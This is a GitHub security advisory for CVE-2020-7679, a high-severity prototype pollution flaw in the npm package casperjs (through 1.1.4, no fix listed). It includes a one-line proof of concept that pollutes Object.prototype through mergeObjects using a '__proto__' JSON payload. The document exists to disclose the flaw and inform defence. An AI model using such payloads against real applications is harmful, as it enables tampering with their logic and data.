GitHub Advisoryadvisory · npm

GHSA-vrr3-5r3v-7xfw Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

HIGH Published 2021-05-17 Modified 2023-09-13 Official page ↗
Aliases
CVE-2020-7679
Ecosystem
npm
Packages
casperjs
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-1321, CWE-915
Reviewed
2021-05-11

Affected packages

• npm casperjs: <= 1.1.4 (no fix yet)

Description

Overview casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS. Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function. PoC ```js var payload = JSON.parse('{"__proto__": {"a": "pwned"}}'); mergeObjects({}, payload); console.log({}.a); // prints "pwned" ```

Related

Alias · CVE (1)

  • CVE-2020-7679 In all versions of package casperjs, the mergeObjects utility function is susceptible to Prototype Pollution. vulnerability

Weakness · CWE (2)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
  • CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes weakness

References